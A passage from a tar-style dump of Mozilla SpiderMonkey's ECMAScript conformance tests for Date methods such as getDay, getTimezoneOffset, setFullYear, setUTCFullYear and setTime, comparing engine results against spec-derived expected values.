DateCase.setMilliseconds( newms ); var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date"; var UTCDate = UTCDateFromTime( Number(newms) ); var LocalDate = LocalDateFromTime( Number(newms) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.12-7.js0000664000175000017500000000215612106270663020416 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.12.js ECMA Section: 15.9.5.12 Description: Date.prototype.getDay 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return WeekDay(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_JAN_1_2005 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDay()", WeekDay((LocalTime(d))), (new Date(d)).getDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.22-6.js0000664000175000017500000000214312106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.22.js ECMA Section: 15.9.5.22 Description: Date.prototype.getTimezoneOffset Returns the difference between local time and UTC time in minutes. 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return (t - LocalTime(t)) / msPerMinute. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.22"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTimezoneOffset()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_FEB_29_2000 ); test(); function addTestCase( t ) { for ( m = 0; m <= 1000; m+=100 ) { t++; new TestCase( SECTION, "(new Date("+t+")).getTimezoneOffset()", (t - LocalTime(t)) / msPerMinute, (new Date(t)).getTimezoneOffset() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.21-2.js0000664000175000017500000000167312106270663020414 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.21.js ECMA Section: 15.9.5.21 Description: Date.prototype.getUTCMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.21"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_0000 ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getUTCMilliseconds()", msFromTime(t), (new Date(t)).getUTCMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.36-3.js0000664000175000017500000001236212106270663020420 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.36-1.js ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getMonth( ). If date is not specified, this behaves as if date were specified with the value getDate( ). 1. Let t be the result of LocalTime(this time value); but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added test cases for Year 2000 Compatilibity Testing. */ var SECTION = "15.9.5.36-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )"); // 1971 addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1971);TDATE", UTCDateFromTime(SetFullYear(0,1971)), LocalDateFromTime(SetFullYear(0,1971)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1971,0);TDATE", UTCDateFromTime(SetFullYear(0,1971,0)), LocalDateFromTime(SetFullYear(0,1971,0)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1971,0,1);TDATE", UTCDateFromTime(SetFullYear(0,1971,0,1)), LocalDateFromTime(SetFullYear(0,1971,0,1)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetFullYear( t, year, mon, date ) { var T = ( isNaN(t) ) ? 0 : LocalTime(t) ; var YEAR = Number( year ); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T))); return ( TimeClip(UTC_DATE) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-5.js0000664000175000017500000000367712106270663020427 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-2.js ECMA Section: 15.9.5.23 Description: Date.prototype.setTime 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " "+ TITLE); test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000, UTC_FEB_29_2000, UTC_JAN_1_2005 ); for ( var j = 0; j < test_times.length; j++ ) { addTestCase( new Date(TIME_1970), test_times[j] ); } new TestCase( SECTION, "(new Date(NaN)).setTime()", NaN, (new Date(NaN)).setTime() ); new TestCase( SECTION, "Date.prototype.setTime.length", 1, Date.prototype.setTime.length ); test(); function addTestCase( d, t ) { new TestCase( SECTION, "( "+d+" ).setTime("+t+")", t, d.setTime(t) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1.1)+")", TimeClip(t+1.1), d.setTime(t+1.1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1)+")", t+1, d.setTime(t+1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-1)+")", t-1, d.setTime(t-1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-TZ_ADJUST)+")", t-TZ_ADJUST, d.setTime(t-TZ_ADJUST) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+TZ_ADJUST)+")", t+TZ_ADJUST, d.setTime(t+TZ_ADJUST) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-3-n.js0000664000175000017500000000235312106270663020646 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-3-n.js ECMA Section: 15.9.5.23 Description: Date.prototype.setTime 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-3-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " "+ TITLE); var MYDATE = new MyDate(TIME_1970); DESCRIPTION = "MYDATE.setTime(TIME_2000)"; EXPECTED = "error"; new TestCase( SECTION, "MYDATE.setTime(TIME_2000)", "error", eval("MYDATE.setTime(TIME_2000)") ); test(); function MyDate(value) { this.value = value; this.setTime = Date.prototype.setTime; return this; } mozjs17.0.0/js/src/tests/ecma/Date/15.9.1.1-1.js0000664000175000017500000000326712106270663020326 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.1.1-1.js ECMA Section: 15.9.1.1 Time Range Description: - leap seconds are ignored - assume 86400000 ms / day - numbers range fom +/- 9,007,199,254,740,991 - ms precision for any instant that is within approximately +/-285,616 years from 1 jan 1970 UTC - range of times supported is -100,000,000 days to 100,000,000 days from 1 jan 1970 12:00 am - time supported is 8.64e5*10e8 milliseconds from 1 jan 1970 UTC (+/-273972.6027397 years) - this test generates its own data -- it does not read data from a file. Author: christine@netscape.com Date: 7 july 1997 Static variables: FOUR_HUNDRED_YEARS */ // every one hundred years contains: // 24 years with 366 days // // every four hundred years contains: // 97 years with 366 days // 303 years with 365 days // // 86400000*365*97 = 3067372800000 // +86400000*366*303 = + 9555408000000 // = 1.26227808e+13 var FOUR_HUNDRED_YEARS = 1.26227808e+13; var SECTION = "15.9.1.1-1"; writeHeaderToLog("15.9.1.1 Time Range"); var M_SECS; var CURRENT_YEAR; for ( M_SECS = 0, CURRENT_YEAR = 1970; M_SECS < 8640000000000000; M_SECS += FOUR_HUNDRED_YEARS, CURRENT_YEAR += 400 ) { new TestCase( SECTION, "new Date("+M_SECS+")", CURRENT_YEAR, (new Date( M_SECS)).getUTCFullYear() ); } test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.37-4.js0000664000175000017500000001245312106270663020423 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.37-1.js ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getUTCMonth( ). If date is not specified, this behaves as if date were specified with the value getUTCDate( ). 1. Let t be this time value; but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute MakeDate(Result(5), TimeWithinDay(t)). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added some Year 2000 test cases. */ var SECTION = "15.9.5.37-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )"); // Dates around 2005 addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2005);TDATE", UTCDateFromTime(SetUTCFullYear(0,2005)), LocalDateFromTime(SetUTCFullYear(0,2005)) ); addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2004);TDATE", UTCDateFromTime(SetUTCFullYear(0,2004)), LocalDateFromTime(SetUTCFullYear(0,2004)) ); addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2006);TDATE", UTCDateFromTime(SetUTCFullYear(0,2006)), LocalDateFromTime(SetUTCFullYear(0,2006)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); // fixed_year = ( ExpectDate.year >=1900 || ExpectDate.year < 2000 ) ? ExpectDate.year - 1900 : ExpectDate.year; new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCFullYear( t, year, mon, date ) { var T = ( t != t ) ? 0 : t; var YEAR = Number(year); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.36-6.js0000664000175000017500000001237512106270663020427 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.36-1.js ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getMonth( ). If date is not specified, this behaves as if date were specified with the value getDate( ). 1. Let t be the result of LocalTime(this time value); but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added test cases for Year 2000 Compatilibity Testing. */ var SECTION = "15.9.5.36-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )"); // feb 29, 2000 addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000);TDATE", UTCDateFromTime(SetFullYear(0,2000)), LocalDateFromTime(SetFullYear(0,2000)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000,1);TDATE", UTCDateFromTime(SetFullYear(0,2000,1)), LocalDateFromTime(SetFullYear(0,2000,1)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000,1,29);TDATE", UTCDateFromTime(SetFullYear(0,2000,1,29)), LocalDateFromTime(SetFullYear(0,2000,1,29)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetFullYear( t, year, mon, date ) { var T = ( isNaN(t) ) ? 0 : LocalTime(t) ; var YEAR = Number( year ); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T))); return ( TimeClip(UTC_DATE) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.22-4.js0000664000175000017500000000213512106270663020411 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.22.js ECMA Section: 15.9.5.22 Description: Date.prototype.getTimezoneOffset Returns the difference between local time and UTC time in minutes. 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return (t - LocalTime(t)) / msPerMinute. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.22"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTimezoneOffset()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1900 ); test(); function addTestCase( t ) { for ( m = 0; m <= 1000; m+=100 ) { t++; new TestCase( SECTION, "(new Date("+t+")).getTimezoneOffset()", (t - LocalTime(t)) / msPerMinute, (new Date(t)).getTimezoneOffset() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.12-5.js0000664000175000017500000000215112106270663020407 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.12.js ECMA Section: 15.9.5.12 Description: Date.prototype.getDay 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return WeekDay(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_2000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDay()", WeekDay((LocalTime(d))), (new Date(d)).getDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.24-1.js0000664000175000017500000000760312106270663020415 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.24-1.js ECMA Section: 15.9.5.24 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var TITLE = "Date.prototype.setTime" var SECTION = "15.9.5.24-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)"); addTestCase( 0, 0 ); test(); function addTestCase( startms, newms ) { var DateCase = new Date( startms ); DateCase.setMilliseconds( newms ); var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date"; var UTCDate = UTCDateFromTime( Number(newms) ); var LocalDate = LocalDateFromTime( Number(newms) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, 